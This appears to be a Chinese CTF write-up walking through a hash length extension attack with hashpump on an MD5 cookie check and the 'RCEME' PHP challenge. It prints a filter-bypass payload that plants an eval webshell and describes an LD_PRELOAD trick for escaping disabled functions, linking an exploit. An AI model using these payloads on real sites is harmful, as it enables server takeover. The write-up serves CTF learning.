Hashpump实现哈希长度扩展攻击

2023-10-26

Hashpump实现哈希长度扩展攻击 | RCEME


0x01 HASH长度拓展攻击

哈希长度拓展攻击的原理有点过于复杂了,这里直接copy其他大佬的描述了。
长度扩展攻击(length extension attack),是指针对某些允许包含额外信息的加密散列函数的攻击手段。对于满足以下条件的散列函数,都可以作为攻击对象:

① 加密前将待加密的明文按一定规则填充到固定长度(例如512或1024比特)的倍数;

② 按照该固定长度,将明文分块加密,并用前一个块的加密结果,作为下一块加密的初始向量(Initial Vector)。

满足上述要求的散列函数称为Merkle–Damgård散列函数(Merkle–Damgård hash function),下列散列函数都属于Merkle–Damgård散列函数:

MD4
MD5
RIPEMD-160
SHA-0
SHA-1
SHA-256
SHA-512
WHIRLPOOL

对于H(salt+data)形式的加密,在以下条件满足的情况下,攻击者可以通过该方法获取H(salt+一定规则构造的data):

① 知道密文的加密算法且该算法满足Merkle–Damgård散列函数特征;

② 不知道salt,但知道salt的长度,并可控制data的值;

③ 可以得到一个H(salt+data)的值。

简而言之,你要满足的条件就是:

  • 知道salt的长度
  • 知道salt+data的Hash值,并且data是你所知道的明文

这样你就能填充其他字符来得到一个和该salt+data计算出的hash值相同的一串字符串,整个过程你是不知道秘钥salt的。

分析:http://ctf5.shiyanbar.com/web/kzhan.php
在这里插入图片描述
注意到这里set-cookie有两个奇怪的值,我们将source任意调整后给出源码:

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

题目思路很简单,你提交的getmein的值和md5($secret+$_POST['username']+$_POST[''passname])的值一样,并且你提交的password不能是admin

我们已知的有:md5($secret+'adminadmin')密钥的长度,那么我们可以通过附加的字符串得到一个md5值和md5($secret+'admin'+'返回的字符串')一样,那么我们只要输入这串返回的字符串,并且输入这个MD5就自然相等了。

这里使用hashpump这款工具:
md5($secret+'adminadmin')----相当于Signature,而我们输入的data是adminadmin,密钥的长度告诉我们是15位,随意添加字符串,得到我们用这个密钥加密后的新MD5,就是md5($secret+‘admin’+‘返回的字符串’)

在这里插入图片描述注意字符串在url提交时,应url编码,将\x换成%:
在这里插入图片描述

[极客大挑战]RCEME(php7特性去绕过黑名单、恶意共享库攻击绕过被过滤方法)

我们先看一个与之类似的题目:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
    //$hint =  "php function getFlag() to get flag"
}

主要的目的就是让我们绕过正则匹配,之后执行getFlag()函数,通过wappalyzer插件我们知道了是PHP7的版本,基于php7,我们可以根据php7的特性进行解题。在这里插入图片描述这里解析方式的意味着:

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有“^”和~ 异或生成的不可见字符比较多,这里更倾向于使用“~”(求反运算符)。
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。
在这里插入图片描述payload:(~%8F%97%8F%96%91%99%90)();即能得到phpinfo()

极客大挑战 RCEME:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

同理这个题我们也是这样构造,查看phpinfo()看被禁的方法:
在这里插入图片描述如下方法全部被禁:

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

留意一下发现assert没有被禁,但是注意:在这里插入图片描述PHP>7.1后,assert便不是函数了,因此不支持被可变函数调用,但是这个题的版本是PHP7.0,因此仍然assert为函数.

我们先利用print_r(scandir('./'));来查看当前目录:
在这里插入图片描述只有index.php,试着读一下根目录:
在这里插入图片描述发现有readflagflag文件,这里直接构造readfile('/flag');
发现读不出东西,在尝试读取readflag,发现:
在这里插入图片描述
是个二进制可执行文件,这里在网上搜罗到了类似的一句话payload,直接蚁剑连接即可:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在这里插入图片描述接下来是比较骚的姿势了,初次见面233:

大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。
附上链接:
https://www.anquanke.com/post/id/175403

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

其实打靶机的时候也用过环境变量提权,这个PHP版本的环境变量进行RCE也算是多加学习吧。

接下来的事就是上传php和so文件改变环境变量(应上传至/tmp路径下)即可,exp附上了,最后成功得到flag!
在这里插入图片描述


参考链接:http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%e5%87%bd%e6%95%b0%e7%89%b9%e6%80%a7%e5%88%86%e6%9e%90/

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Hashpump实现哈希长度扩展攻击 的相关文章

  • Woocommerce 获取购物车页面上的特定属性值

    我正在尝试在 woocommerce 购物车页面中获取特定属性值 我在表格中制作了自定义列 如下所示 td class product color td
  • Laravel 集合包含

    我正在使用 Laravelcontains集合上的方法https laravel com docs 5 3 collections method contains https laravel com docs 5 3 collections
  • 提交表单后关闭featherlight

    我有一个 demo employee php 页面 它检索系统的所有用户以及可以执行的特定操作 td table tr td a href i class fa fa pencil square o i a td td a href i c
  • 用户上传文件夹结构

    随着网站的增长 用户上传的文件夹结构会对性能产生影响吗 例如 我考虑用这种结构来存储照片 相册 Public folder Uploads Users User ID Album ID contains all photos in the
  • 在运行时修改方法/函数

    我一直在研究 php 反射方法 我想做的是在方法打开之后和任何返回值之前注入一些代码 例如我想更改 function foo bar foo bar return foo 并向其中注入一些代码 例如 function foo bar som
  • 从 PHP PDO 执行时 MySQL 提交是否同步?

    使用 MySQL 的 PHP PDO 接口 假设我有以下代码来结束事务 假设它已正确开始 pdo gt query commit 当函数返回时 对日志的写入是否已刷新 也就是说 事务是否已提交 或者我只是提出了提交请求 假设我没有设置任何延
  • 解析xml文件时获取cdata内容

    我有一个 xml 文件
  • 是否可以替换 php 中的函数(例如邮件)并使其执行其他操作?

    我想用 PHP 重写一个函数 比如说 mail 函数 并且希望从现在开始调用 mail 时 它将加载我的 mail 版本而不是默认的 php 版本 这在 php 中可能吗 我想这样做的原因是因为我有数千行调用 mail 的代码 并且我不想重
  • ZF2 路线参数带斜杠

    是否可以使用包含正斜杠的参数来组装路由 Config someroute gt array type gt Zend Mvc Router Http Segment options gt array route gt someroute p
  • 如何在特定视图上禁用 yii-debug-toolbar?

    我怎样才能禁用yii debug toolbar在特定视图上 特别是在部分渲染视图上 这可能吗 p s Yii debug toolbar不幸的是 它不作为下面的标签存在 将其放入您的布局或视图文件中 if class exists yii
  • 无法使用服务帐户访问我的 Google 云端硬盘文件

    我想创建一个应用程序 可以将文件添加到谷歌驱动器并将该文件共享给其他用户 电子邮件受保护 cdn cgi l email protection 该用户 电子邮件受保护 cdn cgi l email protection应该登录到应用程序
  • 传递多个数组以在 codeigniter 中查看

    我的模型是这个 两个函数view和spl function view result this gt db gt get tb ourcity return result gt result array query this gt db gt
  • 使用准备好的语句的 SQL ORDER BY

    我已经尝试了该代码的所有不同类型的变体 但无法使其工作 任何人都可以指出我正确的方向吗 if isset GET s And isset GET o if strip tags htmlspecialchars GET s s sortin
  • 限制检索的行数 MySql、Laravel

    问题 我的问题是使用 Mysql 或 Laravel 通过查询返回的行数是否有限制 首先 我使用 Laravel 5 2 我试图从日志表中检索数据 该表最近已超过 10k 行 现在从那时起 或大约那个时候 用于检索数据的常用 Laravel
  • 如何在 PHP 中获取用户代理

    我使用这个 JS 代码来了解用户使用的浏览器 我想将此 navigator appName 获取到 php 代码以像这样使用它 if appName Internet Explorer blabla 我该怎么做 使用原生 PHP SERVE
  • 使用Zend实现文件上传进度

    您好 我正在尝试使用 Zend 实现上传进度 但是我还没有找到任何详细的教程 指针会很有用 Thanks 我不记得曾经看过完整详细的教程来解释如何使用 Zend Framework 获取上传进度条 但这里有一些提示 如果您已经了解有关 PH
  • 从浏览器中删除cookie?

    有什么方法可以指示网络浏览器完全delete一个人的cookie是用PHP设置的吗 我不想expiry或者等待浏览器closed 对于删除 我的意思是实际上不再将其列在 cookie 列表中 尝试这样删除所有 cookie foreach
  • 如何从视图中使用模型函数? - 拉拉维尔 5.4

    我在模型类中创建了一个函数 它是 public function scopetest query return query gt pluck name 我的控制器代码是 public function index books Book al
  • json支持阿拉伯字符吗?

    我想问一个简单的问题 json 是否支持阿拉伯字符 我的意思是当我搜索类似以下内容时 values database gt get by name echo json encode array returnedFromValue gt va
  • 404 路由无法匹配请求的 URL

    我刚刚开始学习zend 框架 questions tagged zend framework并遵循此用户指南 http framework zend com manual 2 3 en index html 我能够成功安装zend skel

随机推荐

  • DOTA航拍图像数据集,免费资源下载35G遥感数据集

    DOTA Dataset遥感数据集下载 挂VPN会进的更快哦 下载链接最底下 DOTA Dataset A Large scale Dataset for Object DeTection in Aerial Images是用于航拍图像中目
  • 使用hexo+github搭建个人博客

    摘要 本文讲述如何使用hexo github搭建属于自己的个人博客 并且配置相应的主题使自己的博客更加美观 1 概念介绍 博客这东西大家应该都不陌生 网上有很多各式各样的博客 很多人也萌生了搭建自己的博客的想法 但是奈何技术有限 前后端技术
  • PyQt5 窗口自适应大小

    用pyqt5 Qt Designer设计界面时 希望窗口各控件可以随着鼠标拖动自适应的改变大小 一直没有找到方法 百度搜索了一圈 都说是要设置sizePolicy 将其Policy改为expanding即可 事实上99 的帖子都是抄来抄着
  • 全国行政区划下载(高德)

    高德地图API提供的行政区划查询 可以获取到行政区域的区号 城市编码 中心点 边界 下辖区域的详细信息 基于该工具进行扩展 对边界数据做转换处理 保存为GeoJson格式文件 方便使用 并且还可以选择转为WGS84坐标 下载地址 CLICK
  • 【C++】解析this指针

    一个类可以有多个对象 怎么能保证引用的是所指定的对象的数据成员呢 在每一个成员函数中都包含一个特殊的指针 这个指针的名字是固定的 即this 它是指向本类对象的一个指针 他的值是当前被调用的成员函数所在对象的起始地址 举例 include
  • 字符串的排列(全排列)——Java、回溯法

    题目描述 输入一个字符串 按字典序打印出该字符串中字符的所有排列 例如输入字符串abc 则打印出由字符a b c所能排列出来的所有字符串abc acb bac bca cab和cba 输入描述 输入一个字符串 长度不超过9 可能有字符重复
  • 奈奎斯特采样定理-为什么采样率需要时被测信号最高频率的两倍

    奈奎斯特采样定理 采样定理在1928年由美国电信工程师H 奈奎斯特首先提出来的 因此称为奈奎斯特采样定理 1933年由苏联工程师科捷利尼科夫首次用公式严格地表述这一定理 因此在苏联文献中称为科捷利尼科夫采样定理 1948年信息论的创始人C
  • MySQL数据库与SQL语言的规范

    文章中所有操作均是在 MySQL 5 7 版本下进行的 SQL语言 结构化查询语言 Structured Query Language 简称SQL 是一种特殊目的的编程语言 是一种数据库查询和程序设计语言 用于存取数据以及查询 更新和管理关
  • 数值类型翻转教学设计

    第1关 计算边长为整数的正方形面积 任务描述 本关任务 编写一个能计算正方形面积的小程序 相关知识 为了完成本关任务 你需要掌握 1 输入函数 2 字符串转整数 3 数值运算 4 输出函数 第2关 计算边长为浮点数的正方形面积 任务描述 本
  • UPC--换座位(一道没想到暴力就能过的题)

    题目描述 聪聪和同学们正在玩这样一个换座位的游戏 班上共有2n个少先队员 开始时每个少先队员坐在自己的板凳上排成一队 由聪聪开始击鼓 每次击鼓开始时 前n个同学坐到第2 4 2n个板凳上 后n个同学坐到第1 3 2n 1个板凳上 击鼓结束时
  • 【R语言】对图片进行裁剪 图片批量裁剪

    对图片进行裁剪 批量裁剪 示例如图 对图片进行裁剪 library magick pic lt image read study jpg plot pic print pic image info pic 500x300 10 20 Cro
  • 一个http请求就是一个线程吗?Java的服务是每收到一个请求就新开一个线程来处理吗?

    声明 本文并非原创 但是原文排版和语言逻辑有明显的问题 因此就对原文进行一个梳理 并加以补充 来帮助理解 原文链接 CSDN 一个http请求就是一个线程吗 java的服务是每收到一个请求就新开一个线程来处理吗 问题一 一个http请求就是
  • IE8 定义文档兼容性

    更新日期 2009 年 2 月 文档兼容性可定义 Internet Explorer 呈现网页的方式 本文将介绍文档兼容性 如何为网页指定文档兼容性模式以及如何确定网页的文档模式 简介 了解文档兼容性的必要性 了解文档兼容性模式 指定文档兼
  • qt 静态成员变量,C++--类的静态成员变量

    一 成员变量的回顾 1 通过对象名能够访问public成员变量 2 每个对象的成员变量都是专属的 3 成员变量不能在对象之间共享 Q 新的需求 1 统计在程序运行期间某个类的对象数目 2 保证程序的安全性 不能使用全局变量 3 随时可以获取
  • 从.weights中提取权重数据

    从 weights文件中提取权重数据 前言 weights文件 将 weights文件转换成 h5 转换脚本convert py 其他准备工作 转换成 h5 从 h5文件提取数据 关于 h5文件 摸清 h5的子文件夹名字 前言 我在做有关Y
  • 【基于MATLAB的数字图像处理】大作业·综合图像处理平台

    系列文章目录 基于MATLAB的数字图像处理 第一章 绪论 基于MATLAB的数字图像处理 第二章 视觉系统与图像处理系统 基于MATLAB的数字图像处理 第三章 基本图像变换 基于MATLAB的数字图像处理 第四章 图像增强 基于MATL
  • 力扣-235-二叉搜索树的最近公共祖先-javaScript实现

    一 题目链接 力扣题目链接 二 题意分析 因为本题操作的是二叉搜索树 所以我们可以根据二叉搜索树的特性来做题 关于二叉搜索树的特性在前面也有提到 这里就不再过多赘述 先说迭代 对于本题迭代法相当代码简单 三 代码实现 迭代法 var low
  • STM32系列(HAL库)——F103C8T6通过SPI方式读写W25Q64—(Flash存储模块)

    1 软件准备 1 编程平台 Keil5 2 CubeMX 3 XCOM 串口调试助手 2 硬件准备 1 W25Q64模块 2 F1的板子 本例使用经典F103C8T6 3 ST link 下载器 4 USB TTL模块 5 杜邦线若干 3
  • 基于小波变换的条纹图相位提取方法及matlab代码实现

    基于小波变换的条纹图相位提取方法及matlab代码实现 引言 在许多光学应用中 条纹图像是一种常见的景象 例如 条纹图像可以用于形貌量测 如三维重建 运动测量 如速度场测量 以及表面缺陷检测等领域 而在条纹图像处理中 相位提取是一项非常关键
  • Hashpump实现哈希长度扩展攻击

    Hashpump实现哈希长度扩展攻击 RCEME 0x01 HASH长度拓展攻击 哈希长度拓展攻击的原理有点过于复杂了 这里直接copy其他大佬的描述了 长度扩展攻击 length extension attack 是指针对某些允许包含额外